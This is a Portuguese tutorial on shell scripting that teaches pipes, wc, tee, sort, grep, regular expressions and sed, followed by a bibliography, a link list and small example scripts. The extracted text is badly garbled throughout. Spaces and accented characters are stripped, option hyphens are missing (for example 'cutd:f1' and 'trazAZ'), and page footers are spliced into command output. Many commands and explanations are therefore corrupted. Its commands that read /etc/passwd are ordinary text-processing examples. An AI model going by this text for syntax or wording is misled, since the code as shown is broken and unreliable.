Mascomosouchato,vouquereremordeminversa,logoacrescentamosnosortor.
root@c0mb4t:/#catetc/passwd|cutd:f1|sortr
uucp
sync
shutdown
root
operator
nobody
news
mysql
mail
lp
halt
gdm
games
ftp
daemon
c0mb4t
bin
adm
Vamosdarumpauseeveroqueestacontecendo:
catetc/passwd|cutd:f1|sortr,onde:
catetc/passwd=imprimenatelaoarquivo/etc/passwd.
cutd:f1=cortamosoprimeiro:eorestodadireita.
sortr=ordenamosemordemalfabticainversaasada.
Notamosento,queocomandocatjogasuasadaparaocomandocut,queporsuavez
jogaasadaparaocomandosortquefinalmentejogaasadanatela.Poderamosaindacolocaro|
more,casoatelaficassepequena,ficando:
catetc/passwd|cutd:f1|sortr|more
Agora, vamos pegar essa sada, e joglas em letra maisculas, para melhor
visualizaoeparamelhoraprendizado,certo?Nestecasousamosocomandotr.
root@c0mb4t:/#catetc/passwd|cutd:f1|sortr|trazAZ
AdbeelGoesFilho

ShellScripts98

UUCP
SYNC
SHUTDOWN
ROOT
OPERATOR
NOBODY
NEWS
MYSQL
MAIL
LP
HALT
GDM
GAMES
FTP
DAEMON
C0MB4T
BIN
ADM
Ocomandotr,substituasletrasde'a'a'z'por'A'at'Z'.
Pronto,aquiestalistadeusuriosemordemalfabticainversa,emletrasmaisculas.
Masquetaljogarmosasuasadanumarquivochamadousurios?
root@c0mb4t:/#catetc/passwd|cutd:f1|sortr|trazAZ>/usuarios
Ocomando>gravaemarquivo.assimo>/usuariosgravaosaida,quenolugarde
jogarnatela,elajogaparaumarquivoquechameide/usuarios.
Paravisualizaroarquivo,digitamosconformejvisto:
root@c0mb4t:/#cat/usuarios
UUCP
SYNC
SHUTDOWN
ROOT
OPERATOR
NOBODY
NEWS
MYSQL
MAIL
LP
HALT
GDM
GAMES
FTP
AdbeelGoesFilho

ShellScripts99

DAEMON
C0MB4T
BIN
ADM
Pronto.Agoravocjtemseuarquivodeusurios.:)
Outrocomandomuitointeressanteequesempreusamosemconjuntoocomando
grep.Essecomandopegaasadadeumcomandoeimprimetatelaapenasalinhaoqualcontmo
contedodesejado.
root@c0mb4t:/#catetc/passwd|grepc0mb4t
c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash
root@c0mb4t:/#catetc/passwd|grepbash
root:x:0:0::/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash

2. wc
Contacaracteres,palavraselinhasemarquivos.
Sintaxe:
wc[cwl][arquivo...]
Exemplos:
$wcc<cadastro
$wcwtexto1
$wcl/etc/passwd
Opes:
cContaonmerodecaracteres
wContaonmerodepalavras
lContaonmerodelinhas

Pordefault,ocomandosemopo,apresentaasadacomastrsopes.
As opes podemserutilizadas emconjunto.Aordemdasopes vaideterminaraordem de
apresentaodasadadocomando

3. tee
Utilizadoparagerarduassadassimultneas.
Sintaxe:
$tee[a][arquivo]
AdbeelGoesFilho

ShellScripts100

Exemplos:
$ls|teearquivo|sort
$ls|teeaarquivo|sort
Ocomandoteeldaentradapadroegeraumasadapadroeoutraemumarquivoespecificado.A
opoautilizadaparaadicionaremumarquivojexistente.

4. sort
Classificae/ouintercalaarquivostexto.
Sintaxe:
sort[opes]arquivo
$sort<cadastro
$sortnt:+2</etc/passwd
$sortdcadastro
Ocomandosortpoderosoeflexvel.Aslinhasdeumarquivooucamposdoarquivopodemser
classificadosdediversasmaneiras.Algumasopesdocomandosort:

rInverteosentidodaclassificao
fIgualaletrasmaisculaseminsculasnacomparao
nIndicaqueacomparaodeveserdevalornumrico
uEliminaaslinhascomchavesduplicadas
tXIndicaqueocaracterXodelimitadordecampos
mExecutaaintercalaodearquivosjclassificados
+posiposfIndicachavedeclassificao,posiaposioinicialeposfaposiofinal
oarqIndicaquearqserasadadocomando

Exemplos:
Considerandooarquivocadastrocomoscamposcdigo,nomeecep:
00006Jose20000010
00003Maria20000015
00005Antonio20000009
00002Pedro20000002
00004Carlos20000002
00001Zelia20000011

Classificaocrescentedocampocdigo:
$sort+0.00.5cadastro
Classificaoinversadocamponome:
AdbeelGoesFilho

ShellScripts101

$sortr+0.50.15cadastro
Classificaocrescentedocampocepetambmdocamponome
$sort+0.200.28+0.50.15cadastro
Considerandooarquivo/etc/passwd,quepossuiodelimitadordecampo:
Classificaocrescentepornomedeusurio,gerandoasadanoarquivosaida.srt
$sortosaida.srtt:+01/etc/passwd
Classificaoporgrupoetambmpornome
$sortt:n+34+01/etc/passwd

5. grep
AgorateremosumbrevetutorialsobreoGrep.Elenosomenteumdoscomandos
maisteis,masoseudomnioabreportasparadominaroutrospoderososcomandos,comoosed
(quetrataremosnaprximaaula),awk,perl,etc.Eufizumaadaptao/modificaodeumtutorial
queeutenho,eporsinalexcelente,sobreoGrepeExpressesRegularesem
ingls.Esperoquetenhaficadolegalevocsgostem.
Oqueelefaz?
Ogrepbasicamentefazbuscas.Maisprecisamente:
greppalavrafileretornatodasaslinhasdoarquivofilequecontenhampalavra.
Outrojeitodeusarogrepatravsdepipe(lembramdospipes?).
Porexemplo:
ls|greppalavra
Listatodososarquivosquecontenhampalavraemseunome.Ouseja,aentradadogrepumalista
dearquivos(geradapelols)queserfiltrada,sendoimpressassomenteaslinhasquecontenham
palavra.
Usandocaracterescoringas
Suponhoquetodossaibamoquesocaracterescoringas.Casocontrrio,coringasso
caracteresespeciaisquesubstituemoutros.Geralmenteocaracter"*"umcoringaquesignifica
"qualquercaracteremqualquerquantidade".Porissoseagenteexecutar"ls*",onde"*"entrano
lugardo"nomedoarquivo",significandoqualquerstringdequalquertamanho.Porissoelelista
todososarquivos.
Masagoravoltemosaogrep.Serqueeleaceitacoringas?Arespostamaisdoque
sim.Ogrepsuportaalgoquevaialmdecoringas,elesuportaExpressesRegulares.Masvamos
comearapenascomcoringas.Umdosmaisusadoscomogrepo"."
Vamosaumexemplo:

AdbeelGoesFilho

ShellScripts102

>catfile
>grepb.g
file
big
big
badbug
badbug
bigger
bigger
boogy
Notequeboogynocasa,desdeque"."significa"qualquereapenasumcaracter".Para
significarstringsarbitrriasutilizamos"*",quefuncionadaseguintemaneira:
"Aexpressoconsistindodeumcaracterseguidoporum*casacomqualquernmero(inclusive
zero)derepetiesdessecaracter.Emparticular,".*"significaqualquerstring."
Paracompreendermosvamosamaisexemplos:
>catfile
big
badbug
bag
bigger
boogy>grepb.*gfile
big
badbug
bag
bigger
boogy>grepb.*g.File
bigger
boogy>grepggg*file
bigger
Avanandoparaexpressesregulares
Oscoringassoocomeo,masaidiavaimaislonge.Porexemplo,suponhaque
queremosumaexpressoquecasecomFredericSmithouFredSmith,ouseja,astring"eric"
opcional.Primeiro,introduzimosoconceitodeum"caracterescapado(escapedcharacter)".
"Umcaracterescapadoumcaracterprecedidoporumabarrainvertida(\).Essabarrainvertida
fazoseguinte:(a)Removequalquersignificadoespecialdocaracter.(b)acrescentaumsignificado
especialaumcaracterquenotenhaumsignificadoespecial."
Parececomplicado,masvejanosexemploqueumtantoquantosimples:
Paraprocurarumalinhacontentootexto"hello.gif",ocomandocorretoseria:
grep'hello\.gif'file
Desdeque"grep'hello.gif'file"iriaresultarlinhascontendo:hellogif,hello1gif,
AdbeelGoesFilho

ShellScripts103

helloagif,etc. Ouseja,abarrainvertidaremoveosignificadoespecialdo".",passandoessea
significar um simples ponto ao invs de um coringa. Agora vamos passar para expresses
agrupadas,afimdeencontrarumjeitodecriarumaexpressoquecasecomFredericouFred.
Primeirovamoscomearcomooperador"?":
"Umaexpressoconsistindodecaracterseguidoporumainterrogaoescapada(\?)casacomzero
ouumainstnciadaquelecaracter".
Exemplo:
"bugg\?y"casacomoseguinte:bugy,buggymasnocombugggy
virtvs@mucuripe:~$echobugy|grep"bugg\?y"bugy
virtvs@mucuripe:~$echobugggy|grep"bugg\?y"
virtvs@mucuripe:~$
Agoravamosparaexpressesagrupadas.Nonossoexemplo,queremostornaropcionalastring
"eric"aps"Fred",ouseja,noapenasumcaractermassimumconjuntodecaracteres(string).
"Umaexpressodentrodeparntesesescapadostratadacomoumnicocaracter"
Exemplos:
"Fred\(eric\)\?" Smith casa com "Fred Smith" or "Frederic Smith" \(abc\)* casa com abc ,
abcabcabc,etc(isto,qualquernmeroderepetiesdastring"abc",incluindozero).
Note que temos que tomar cuidado quando nossas expresses contm espaos em
branco.Quandoelesaparecem,precisamoscolocaraexpressoentreaspas,paraqueo shell no
interpretemalnossocomando.Paraoexemploacima:
grep"Fred\(eric\)\?Smith"file
Euaconselhofortementeasempreusaraspas,mesmoquenousemosespaosem
brancos.Jtivemuitadordecabeaporqueexpressesecomandosnofuncionavamsimplesmente
pornoestarementreaspas.Umdosexemploacima(odobugg\?y)no
funcionanomeusistemasenoestiverentreaspas.Veja:
virtvs@mucuripe:~$echobugy|grep"bugg\?y"
bugy
virtvs@mucuripe:~$echobugy|grepbugg\?y
virtvs@mucuripe:~$
Outrosoperadoresteis
Paracasaralgumcaracterdeumalista,use[]Veja:
"[Hh]ello"casacomlinhascontendo
"hello"ou"Hello"
Faixasdecaracterestambmsopermitidos:
AdbeelGoesFilho

ShellScripts104

[03]omesmoque[0123]
[ak]omesmoque[abcdefghijk]
[AC]omesmoque[ABC]
[ACak]omesmoque[ABCabcdefghijk]
Existemtambmalgumasformasalternativas:
[[:alpha:]]omesmoque[azAZ]
[[:upper:]]omesmoque[AZ]
[[:lower:]]omesmoque[az]
[[:digit:]]omesmoque[09]
[[:alnum:]]omesmoque[09azAZ]
[[:space:]]casacomqualquerquantidadedeespaos,
inclusivetabulaes
Essasformasalternativas,como[[:digit:]]prefervelaomtododireto,[09].
Os[]podemserusadoparaindicarcaracteresqueNOdevemestarnaexpresso.
scolocarosinal^naprimeiraposiodalista.Veja:
virtvs@mucuripe:~$echohello|grep"[Hh]ello"
hello
virtvs@mucuripe:~$echohello|grep"[^Hh]ello"
virtvs@mucuripe
Outroexemplo,umpoucomaiscomplicado:
grep"([^()]*)a"fileretornaqualquerlinhacontendoumpardeparentesseguidopor"a"equeNO
contenhamoutrosparntesesdentro.Assim,elecasacomessaslinhas:
(hello)a
(aksjdhaksjdka)a
Masnocom:x=(y+2(x+1))a
CasandocomumnmeroespecificoderepetiesSuponhaquevocqueiracasarum
nmeroespecficoderepetiesdeumaexpresso.Umbomexemplosonmerosdetelefones.
Vocpodeprocurarporumnmerodetelefonecomsetedgitos,
assim:
grep"[:digit:]\{3\}[]\?[:digit:]\{4\}"file
Ouseja,trsdgitos,opcionalmenteumespaoouumhfenemais4
dgitos.
Procurandoporcomeoefimdelinha:Issomuitointeressante.Digamosquevoc
queiraprocurarporlinhasquecontendoespaosembrancosnocomeodalinha,apalavrahelloe
entoofimdalinha.Vamoscomearcomeste
exemplo:
>catfile
hello
helloworld
hhello
AdbeelGoesFilho

ShellScripts105

>grephellofile
hello
helloworld
hhello
Issonooquensqueremos.Oqueesterrado?Oproblemaqueogrepprocura
porlinhascontendoastringhelloetodasaslinhasespecificadascontemela.Paracontornarisso,
introduzimososcaracteresdecomeoefimdelinha:
"Ocaracter^significacomeodelinhaeo$significafimdalinha"
Retornandoaonossoexemplo:
grep"^[[:space:]]*hello[[:space:]]*$"file
Ouseja,ocomeodalinha,qualquerquantidadedeespaoembranco(inclusivezero),
apalavrahello,qualquerquantidadedeespaoembrancoeofimdalinha.Essaexpressofazoque
agentequer,retornandosomentealinhaquecontmapalavrahello.Outroexemplo:
grep"^From.*Alex"/var/spool/mail/neo
Procuranomeuinboxpormensagensdeumapessoaemparticular(nocaso,Alex).
Essetipodeexpressoregularextremamentetilefiltrosdeemail,comooprocmail,utilizam
issoparafazeremtudo.
IssoouAquilo:ProcurandoumacoisaOUoutra:
"AexpressoconsistindodeduasexpressesseparadaspelooperadorOU\|casalinhascontendo
umadasduasexpresses"
NotequevocDEVEcolocaraexpressodentrodeaspassimplesouduplas:
grep"cat\|dog"filecasacomlinhascontendo
apalavra"cat"oua
palavra"dog"
grep"Iama\(cat\|dog\)"casacomlinhas
contendoastring"Iam
acat"ouastring"Iamadog".
Usandobackreference(refernciaanterior)
Digamosquevocqueiraprocurarstringsquecontenhamumasubstringemmaisde
umlugar.UmexemploastagsdecabealhosdeHTML.Suponhaqueeuqueiraprocurarpor
"<H1>algumastring</H1>".Istofcildesefazer.Massuponhaqueeuqueirafazeromesmo,mas
permitaH2H3H4H5eH6nolugardeH1.Aexpresso<H[16]>.*</H[16]>noboa,desde
quecasacom"<H1>algumastring</H3>"enosqueremosqueatagdeaberturasejaigualade
fechamento.Parafazermosisso,usamosbackreference:
"Aexpresso\nondenumnmero,casacomocontedodonsimoconjuntodeparntesesna
AdbeelGoesFilho

ShellScripts106

expresso".
Nossa...issorealmenteprecisadeumexemplo!!!!
<H\([16]\)>.*</H\1>fazoquenosqueramosfazeracima...
"OSenhor\(dog\|cat\)easenhora\1foramvisitaroSenhor\(dog\|cat\)easenhora\2"
Esseoutroexemplobobo.Oscasaistemsemprequeseremiguais.Ouumcasalde
cachorrooudegato.
Algunsdetalhescruciais:caracteresespeciaiseaspasCaracteresEspeciais:
AquinsdescrevemososcaracteresespeciaisparaRegExp(expressesregulares)nogrep.Noteque
no"egrep",queusaexpressesregularesestendidas(atualmentenotemnenhumafuncionalidadea
maisqueasexpressesregularesnormaisdoGNUgrep),alistadecaracteresespeciaissoos
mesmos,diferindosomentequealgunsnoprecisarestar"escapados".Osseguintescaracteresso
consideradosespeciais,eprecisamestarescapados:
?\.[]^
$
Notequeosinalde$perdeseusentidosetivercaracteresdepoisdele,domesmojeito
queosinal^perdeseusentidosetivercaracteresantesdele.Oscolchetes[]comportamseum
poucodiferente.Abaixosegueasregrasparaeles:
?O colchete direito( ] ) perdeseusentidoespecialsecolocadonocomeodeumalista, por
exemplo:"[]12]"casacom],1,
or2.
?Umhfenperdeseusignificadoespecialsecolocadoporltimo.Assim,[15]casacom1,5ou
?Ocaracter^perdeseusentidosenoforcolocadoemprimeirolugar.
?Amaioriadoscaracteresespeciaisperdemseusignificadoespecialseforemcolocadosdentrode
colchetes.
Aspas:
Emprimeirolugar,aspassimplessomaissegurasdeusarporqueelasprotegemsuas
expresses regulares de serem alteradas pelo bash (como foi visto nas aulas anteriores). Por
exemplo, grep "!" file vaiproduzir umerro, j queo shell pensa que "!" est sereferindo ao
comandodehistricodoshell,enquantogrep'!'filefuncionaperfeitamente.
Quandovocdeveusaraspassimples?Aresposta:sevocprecisausarvariveisdo
shell,useaspasduplas.Casocontrrio,useaspassimples.Porexemplo:
grep"$HOME"file
Procuraemfilepelonomedoseudiretriopessoal,enquantogrep
'$HOME'fileprocurapelastring$HOME.
Sintaxedasexpressesregularesestendidas
Agoravamosverasintaxedoegrepemcontrastecomasintaxedogrep.Ironicamente,
apesar do nome"estendido", oegrepatualmente tem menos funcionalidadedoquequando foi
criado,paramanteracompatibilidadecomotradicionalgrep.Amelhormaneiradefazerumgrep
estendidoutilizargrepEqueusaasintaxedeexpressesregularesestendidassemperdade
funcionalidade. Bom, espero que vocs tenham tido uma boa idia de como funcionam as
expressesregulares.Elassoextremamenteimportante,principalmenteparautilizarogrepeo
AdbeelGoesFilho

ShellScripts107

poderosssimosed,doqualtrataremosnaprximaaula.Nosepreocupemseestiveremconfuso
comasexpresses,quandocomearemautilizlas,asidiasvoclareando.

AdbeelGoesFilho

ShellScripts108

6. sed
Falaremosagorasobreosed.Valelembrarquedaremosumabreveintroduoaosed,
ajudandoosiniciantesaentendercomoelefunciona.Portantomuitoscomandosmaiscomplexos
seroomitidos,jqueserianecessrioumlivrointeiroparaensinartudosobreoSed.Masnose
preocupem,ensinaremososuficientesobreeleparautilizaoemshellscript.
ResumodeRegExp
Vamosaumresumosobreasexpressesregulares,explicadasnaaulaanterioreagoraaplicadasao
sed:
^
casacomocomeodelinha
$
casacomofimdelinha
.
casacomqualquercaractersimples(apenasum)
(caracter)*
casacomqualquerocorrncia,emqualquerquantidade,de(caracter)
(caracter)?
casacomzeroouumaocorrnciade(caracter)
[abcdef]
casacomqualquercaracterdentrodos[](nestecaso,abcdeouf),
faixasdecaracterescomo[az]
sopermitidas.
[^abcdef]
casacomqualquer caracter NO includoem[](nestecaso,qualquer
caracterquenosejaabcdeouf)
(caracter)\{m,n\}
casacommnrepetiesde(caracter)
(caracter)\{m,\}
casacommoumaisrepetiesde(caracter)
(caracter)\{,n\}
casacomnoumenos(tambmzero)repetiesde(caracter)
(caracter)\{n\}
casacomexatamentenrepetiesde(caracter)
\(expresso\)
operadordegrupo.
\n
Backreference
casacomonsimogrupo
expresso1\|expresso2 casacomexpresso1ouexpresso2.FuncionacomoGNUsed,masessa
caractersticapodenofuncionarcomoutrosSeds.
CaracteresEspeciais
Oscaracteresespeciaisnosedsoosmesmodogrep,comumadiferena:abarra
normal / um caracter especial no sed. A razo disso ficar clara mais para frente quando
estudarmososcomandosdosed.
Comofunciona:Umabreveintroduo

Osedfuncionaassim:eleldaentradapadro,umalinhadecadavez.Paracadalinha,
eleexecutaumasriedecomandosdeedioeentoalinhaescritanasadapadro.Umexemplo
quemostracomoelefunciona:Nsusamosocomando"s",quesignifica"substitute"(substituir)ou
"searchandreplace"(procuraretrocar).
Oformato:
s/expressoregular/textosubstituto/{flags}
AdbeelGoesFilho

ShellScripts109

Nsnovamosdiscutirtodasasflagsainda.Anicaqueusamosabaixoa"g",que
significa"substituatodasasocorrncias":
>catfile
Eutenhotrscachorrosedoisgatos
>sede's/cachorros/gatos/g'e
's/gatos/elefantes/g'file
Eutenhotrselefantesedoiselefantes
OK,entooqueaconteceu?Primeiroosedleualinhadoarquivo
"file"eexecutou:
s/cachorros/gatos/g
queproduziuoseguintetexto:
Eutenhotrsgatosedoisgatos
eentoosegundocomandofoiexecutadonalinhajeditadaeresultou:
Eutenhotrselefantesedoiselefantes
Nsatualmentedamosumnomeparaotexto(geralmenteumalinha)queosedleue
est processando (editando): ele chamase "pattern space" (uma boa traduo seria "rea de
edio").Osedldaentradapadroejoganasuareadeedio,executandonelaumaseqnciade
comandosdeedioeentoeleescreveoresultadonasadapadro.
ComandosdeSubstituioeDeleo
Primeiro,asmaneirasmaisusuaisdosedaseguinte:
>sede'comando1'e'comando2'e
'comando3'arquivo
>{comandoshell}|sede'comando1'e
'comando2'
>sedfsedscript.sedarquivo
>{comandoshell}|sedfsedscript.sed
Ento,osedpodelerdoarquivooudaentradapadro,eoscomandospodemserespecificadosem
umarquivodescriptounalinhadecomando.Essearquivo,chamadosedscript.sedumarquivo
quecontmtodososcomandosdosed,aoinvsdeseremespecificadosnalinhadecomando.Esses
sed'sscriptssoteisquandoprecisamosdeumprocessamentodetextomaiscomplexoerefinado.
Noteoseguinte:seoscomandossolidosdeumarquivo(sedscript),espaosembrancopodemser
fatais.Elespodemfazeroscriptfalharsemexplicaoaparente.Eurecomendoeditarosarquivosde
comandosdosedcomumeditorcomooVIMquepodemostrarofinaldalinhaevocpodeverse
existemespaosembrancoentreoscomandoseofimdalinha.
ComandodeSubstituio
Oformatoparaocomandodesubstituiooseguinte:
AdbeelGoesFilho

ShellScripts110

[endereo1[,endereo2]]s/procura/substituto/[f
lags]
Asflagspodemserasseguinte:
ntrocaansimaocorrncia
(nalinha)do
texto"procura"por"substituto"
gtrocatodasasocorrncias(nalinha)dotexto"procura"por"substituto"
pimprimea"readeedio"paraasadapadroseocorrerumasubstituiocomsucesso
warquivoimprimea"readeedio"paraarquivoseocorrerumasubstituiocomsucesso
Se nenhuma flag for especificada, somente a primeira ocorrncias na linha
substituda.Notequensquasesempreusamosocomando"s"oucomaflag"g"ousemnenhuma
flag. Se um endereo dado, ento a substituio aplicada a linhas que contenham aquele
endereo.Umendereopodeserouumaexpressoregulardentrodebarrasnormais/regexp/,ou
umnmerodelinha.Osmbolo$podeserusadonolugardonmerodalinhaparadenotaraltima
linha.
Sedoisendereossofornecidos,separadosporumavrgula,entoasubstituio
aplicadaatodasaslinhasentreduaslinhasquecasamcomosendereosfornecidos. Istorequer
algumesclarecimento.Maisprecisamente,asubstituioocorreemtodasaslinhasdesdeaprimeira
ocorrnciade"endereo1"ataprimeiraocorrnciade"endereo2".
Nosepreocupeseissotudoparecemeioconfuso.Osexemplosvoesclarecermelhor.
OcomandodeDeleo
Asintaxedessecomandomuitosimples.Aivai:
[endereo1[,endereo2]]d
Istodeletaocontedoda"readeedio"(seestacasarcomosendereosfornecidos).Todosos
comandosseguintesseropulados(jquenoanadaafazercomumareadeedioembranco)e
umanovalinhaserlidaejogadanareadeedioetodooprocessoserepete.
Exemplos:
Exemplo1:
>catfile
Ogatopretofoicaadoporumcachorromarrom.
>sede's/preto/branco/g'file
Ogatobrancofoicaadoporumcachorromarrom.
Exemplo2:
>catfile
Ogatopretofoicaadoporumcachorromarrom.
AdbeelGoesFilho

ShellScripts111

Ogatopretonofoicaadoporumcachorromarrom.
>sede'/no/s/preto/branco/g'file
Ogatopretofoicaadoporumcachorromarrom.
Ogatobranconocaadoporumcachorromarrom.
Nestecaso,asubstituioaplicadasomentealinhasquecasamcomaexpressoregular"/no/".
Portanto,elanoaplicadaaprimeiralinha,poisestanocontemapalavra"no".
Exemplo3:
>catfile
linha1(um)
linha2(dois)
linha3(trs)
Exemplo3a:
>sede'1,2d'file
linha3(trs)
Exemplo3b:
>sede'3d'file
linha1(um)
linha2(dois)
Exemplo3c:
>sede'1,2s/linha/LINHA/'file
LINHA1(um)
LINHA2(dois)
linha3(trs)
Exemplo3d:
>sede'/^linha.*um/s/linha/LINHA/'e
'/linha/d'file
LINHA1(um)
3a:Estefoibemsimples:Nsapenasdeletamosaslinhasde1at2
3b:Istotambmfoisimples:Nsdeletamosalinha3.
3c:Nesteexemplo,nsfizemosumasubstituionaslinhas1at2.
3d:Agoraestemaisinteressanteemerecealgumasexplicaes.

Oprimeirocomandovaiprocurar"^linha.*um"esubstituir"linha"por"LINHA",ou
seja,somenteaprimeiralinhacasacomessaexpressoregular.Osegundocomandodizparaosed
deletar linhas que contenham a palavra "linha". Assim, somente as duas ltimas linhas sero
AdbeelGoesFilho

ShellScripts112

deletadas,jqueaprimeiratevepalavra"linha"substitudapor"LINHA".
Exemplo4:
>catfile
ol
Estetextosercortado
ol(tambmserretirado)
ReTiRaDoTambm!!!
tchau
(1)Estetextonofoiapagado
(2)nemeste...(tchau)
(3)nemeste
ol
masesteser
eestetambm
eamenosquensencontremosoutrotch*u
cadalinhaatofinaldotextoser
apagada
>sede'/ol/,/tchau/d'file
(1)Estetextonofoiapagado
(2)nemeste...(tchau)
(3)nemeste
Istomostracomooendereamentofuncionaquandodoisendereossoespecificados.
Osedencontraoprimeirocasamentodaexpresso"ol"edeletatodasaslinhaslidasnareade
edio at ele encontrar a primeira linha que contm a expresso "tchau" (est tambm ser
apagada).Elenoaplicamaisocomandodedeleoparanenhumalinhaatencontrarnovamentea
expresso"ol".Desdequeaexpresso"tchau"noocorremaisemnenhumalinhasubseqente,o
comandodedeleoaplicadoatofinaldotexto.Resumindo,simples:Quandoeleencontrao
primeiro endereo ("ol") ele passa a executar os comandos at encontrar o segundo endereo
("tchau")ouofimdotexto.Eissoserepeteatacabarotexto.
Exemplo5:
>catfile
http://www.kernel.org/
>sede
's@http://www.kernel.org@http://www.metalab.un
c.edu@'file
http://www.metalab.unc.edu/
Notequensusamosumdelimitadordiferente,@paraocomandodesubstituio.O
sedpermite diversosdelimitadoresparaocomandodesubstituio,incluindo@%,;:Esses
delimitadoresalternativossobonsparasubstituiesqueincluemstringcomonomedearquivose
outrasquecontmbarranormal/,oquetornaocdigodosedmuitomaislegvel.
AdbeelGoesFilho

ShellScripts113

MaisalgunscomandosAquiveremosmaisalgunscomandossobreosed,amaioria
deles mais complexos. Dependendo da aplicao em que vocs forem usar o sed, dificilmente
usaro esses recursos, a menos que precisem de um processamento de texto mais refinado e
complexo.Vejaqueelessomuitousadonosscriptsdosed(noconfundacomshellscript).
BackreferencenoSed
Umadascoisaslegaissobrebackreferencenosedquevocpodeusarnoapenasem
procuradetextosmastambmnasubstituiodetextos.
OcomandoQuit
Ocomandoquitou"q"muitosimples.Elesimplesmenteterminaoprocessamento.
Nenhumaoutralinhalidaparaareadeedioouimpressanasadapadro.
Subrotinas
Nsagoraintroduzimosoconceitodesubrotinasnosed:
No sed, as chaves { } so usadas para agrupar comandos. Elas so usadas dessa

maneira:
endereo1[,endereo2]{comandos}

Exemplo:Encontrarumapalavradeumalistanumarquivo
Esteexemplofazumbomusodosconceitosdescritosacima.Paraisto,nosusamosum
shellscript,desdequeoscomandossomuitolongoseprecisaramosescreveralongastringX
vriasvezes.Notequeusamosaspasduplas,jqueavarivel$Xprecisaserexpandidapeloshell.A
sintaxepararodaressescript:"scriptarquivo",onde"script"onomedadoaoscripte"arquivo"
onomedoarquivoaprocurarumapalavradalista.
#!/bin/sh
X='word1\|word2\|word3|\word4|\word5'
sede"
/$X/!d
/$X/{
s/\($X\).*/\1/
s/.*\($X\)/\1/
q
}"$1
Umanotaimportante:tentadorpensarque:
s/\($X\).*/\1/
s/.*\($X\)/\1/
redundanteetentarencurtlapara:
AdbeelGoesFilho

ShellScripts114

s/.*\($X\).*/\1/
Masistonofunciona.Porque?Suponhaquetemosalinha:
word1word2word3
Nsnotemoscomosaberse$Xvaicasarcomword1,word2ouword3,entoquando
nscitamosele(\1),nsnosabemosquaisdostermosestsendocitado.Oqueestsendousado
paracertificarsequenohproblemasnacorretaimplementao,isto:
"Ooperador*guloso.Ouseja,quandohambigidadesobrequal(expresso)*podecasar,ele
tentarcasaromximopossvel."
Entonesteexemplo,s/\($X\).*/\1/,.*tentaengoliromximodalinhapossvel,em
particular,sealinhacontmisso:
"word1word2word3"
Entonspodemostercertezaque.*casacom"word2word3"eportanto$Xseria
word1.Nosepreocupemsenoentenderammuitobemestetpico.Elecomplicadomesmoe
pouco usado. O importante entender como ele funciona, o uso de regexp e do comando de
substituioedeleo.Paramaioresinformaessobreosed,dumaolhadanasuamanpage:
"mansed".Esperoquevocstenhamgostadodessepequenotutorialsobresed.
LinguagensComplementares

AWK
Exemplo:exibiraterceira,quartaenonacolunasdosaidadeumcomando
lsl/home/satis|awk'{print$3,$r,$9}'

PHP

AdbeelGoesFilho

ShellScripts115

Capitulo6.Bibliografia

ADBEEL

Goes,Adbeel.ProgramaoShellScript.VIRTVSEngenhariaeInformtica
Ltda.Fortaleza,Outubrode2001.

ALEX

Borro,Alex.TutorialdeShellScript

RRM2000

Raimundo, Rodivaldo Marcelo. Curso Bsico de Programao em Posix


ShellScript.BookExpress.RiodeJaneiro,2000.

JULIO

Neves,JlioCezar.ProgramaoShellLinux,3Edio,EditoraBrasport,
ISBN8574521183

SAADE

Saade,Joel.BASHGuiadeConsultaRpida,EditoraNovatec,ISBN85
75220063

AdbeelGoesFilho

ShellScripts116

Capitulo7.ApndiceAEndereosInternet
1

Guiafocalinux

http://www.focalinux.org

AdvBashScrHOWTO

http://www.linuxdoc.org

ProgramaodeShellScripts

http://unsekurity.virtualave.net/txts/shscript.txt

UNIXBourneShellProgrammin http://www.torget.se/users/d/Devlin/

shell

BashFAQ

ftp://ftp.cwru.edu/pub/bash/FAQ

BashReferenceManual

http://www.gnu.org/manual/bash2.02/bashref.html

BourneAgainSHellHomePage

http://cnswww.cns.cwru.edu/~chet/bash/bashtop.html

Underlinux

http://sh.underlinux.com.br

ExpressesRegulare

http://guiaer.sourceforge.net

10

sedHOWTO

http://verde666/sed

11

ProgramaoemShellScript

http://www.jonathas.com.br/manual
shell
.txt

12

UNIXPowerTools

http://docs.online.bg/OS/unix_power_tools/index.htm

13

Linux:ProgramaoShell

http://www.brasport.com.br

14

VerdadeAbsoluta

http://www.absoluta.org

15

Wargames

www.pulltheplug.com
www.hackerslab.org

16

Listadediscussonacionalsobre http://br.groups.yahoo.com/group/shellscript
ShellScript

17

Dicas

http://www.semlimites.com.br/informatica/informatica_
software_sistemasoperacionais_unix_linux.shtm

18

IBMAIX

http://www.ibm.com

19

UnixPerguntaserespostas

http://www.klingon.com.br/unix/unix.html

20

IntroduoaoUnix

http://www.nicke.fenixnet.ccom.br/unix.html

21

Criando programas usando o htttp://www.icmsc.sc.usp.br/manuais/UNIX


Shell

AdbeelGoesFilho

ShellScripts117

Capitulo8.Anexos

AdbeelGoesFilho

ShellScripts118

1. Exemplos

7.

Matemtica

Somadennmerosnaturais
#!/bin/sh
clear
echo"Qualonmero?"
readn
soma=0
forw_iin$(seq1$n);
do
soma=$(expr$soma+$w_i)
done
echo"Asomados$nprimeirosnmerosnaturais$soma"
exit0
Fatorial
#!/bin/sh
clear
readp"Qualonmeroparaoclculodofatorial?"n
if[$nle0];
then
echo"Noexistefatorialdenmeronegativo"
exit1
fi;
fatorial=1
forw_iin$(seq1$n);
do
fatorial=$[$fatorial*$w_i]
done
echo"Ofatorialde$n$fatorial"
exit0

AdbeelGoesFilho

ShellScripts119

8.

Acesso

Comoterapenasumloginporusurio
#!/bin/sh
#vi/usr/bin/login_unico
VAR=`who|cutc18|trd"\040"|grepn"^\'echo$LOGNAME\`$"|wcl`
if[$VARgt1]&&[$LOGNAME="root"]
then
echoMENSAGEMDELOGININVALIDO
sleep10
exit
fi
#chmod755login_unico
#vi/etc/profile
...
ComorepetirosltimoscomandosnoUnix
Arquivodecontrole:$HOME/.sh_history
Totaldecmds.........:171(emmedia)
Ativacao.................:setovi
Shellresponsvel.....:ksh
Incluaocomandodeativaonoarquivo$HOME/.profile.
Incluirnoarquivo/etc/passwd:
......usuario:senha:nr_usuario:grupo:comentario:dir_trabalho:/bin/ksh
ParamostrareexecutarosltimoscomandostecleESCape"k"
